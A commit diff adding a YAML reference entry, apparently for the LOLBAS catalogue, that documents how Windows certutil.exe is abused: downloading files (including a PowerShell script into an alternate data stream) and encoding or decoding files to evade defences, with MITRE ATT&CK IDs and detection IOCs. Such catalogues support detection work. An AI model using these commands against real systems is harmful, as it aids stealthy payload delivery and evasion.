added command to certutil

certutil.yml.txt

@@ -0,0 +1,76 @@
+---
+Name: Certutil.exe
+Description: Windows binary used for handeling certificates
+Author: 'Oddvar Moe'
+Created: '2018-05-25'
+Commands:
+  - Command: certutil.exe -urlcache -split -f http://7-zip.org/a/7z1604-x64.exe 7zip.exe
+    Description: Download and save 7zip to disk in the current folder.
+    Usecase: Download file from Internet
+    Category: Download
+    Privileges: User
+    MitreID: T1105
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1105
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
+  - Command: certutil.exe -verifyctl -f -split http://7-zip.org/a/7z1604-x64.exe 7zip.exe
+    Description: Download and save 7zip to disk in the current folder.
+    Usecase: Download file from Internet
+    Category: Download
+    Privileges: User
+    MitreID: T1105
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1105
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
+  - Command: certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt
+    Description: Download and save a PS1 file to an Alternate Data Stream (ADS).
+    Usecase: Download file from Internet and save it in an NTFS Alternate Data Stream
+    Category: ADS
+    Privileges: User
+    MitreID: T1096
+    MitreLink: https://attack.mitre.org/techniques/T1096
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
+  - Command: certutil -encode inputFileName encodedOutputFileName
+    Description: Command to encode a file using Base64
+    Usecase: Encode files to evade defensive measures
+    Category: Encode
+    Privileges: User
+    MitreID: T1027
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1027
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
+  - Command: certutil -decode encodedInputFileName decodedOutputFileName
+    Description: Command to decode a Base64 encoded file.
+    Usecase: Decode files to evade defensive measures
+    Category: Decode
+    Privileges: User
+    MitreID: T1140
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1140
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
+  - Command: certutil --decodehex encoded_hexadecimal_InputFileName 
+    Description: Command to decode a hexadecimal-encoded file decodedOutputFileName
+    Usecase: Decode files to evade defensive measures
+    Category: Decode
+    Privileges: User
+    MitreID: T1140
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1140
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
+Full_Path:
+  - Path: C:\Windows\System32\certutil.exe
+  - Path: C:\Windows\SysWOW64\certutil.exe
+Code_Sample: 
+  - Code:546573745f62795f4c696f72(example of the encoded hexadecimal file)
+Detection:
+  - IOC: Certutil.exe creating new files on disk
+  - IOC: Useragent Microsoft-CryptoAPI/10.0
+  - IOC: Useragent CertUtil URL Agent
+Resources:
+  - Link: https://twitter.com/Moriarty_Meng/status/984380793383370752
+  - Link: https://twitter.com/mattifestation/status/620107926288515072
+  - Link: https://twitter.com/egre55/status/1087685529016193025
+Acknowledgement:
+  - Person: Matt Graeber
+    Handle: '@mattifestation'
+  - Person: Moriarty
+    Handle: '@Moriarty_Meng'
+  - Person: egre55
+    Handle: '@egre55'
+  - Person: Lior Adar
+---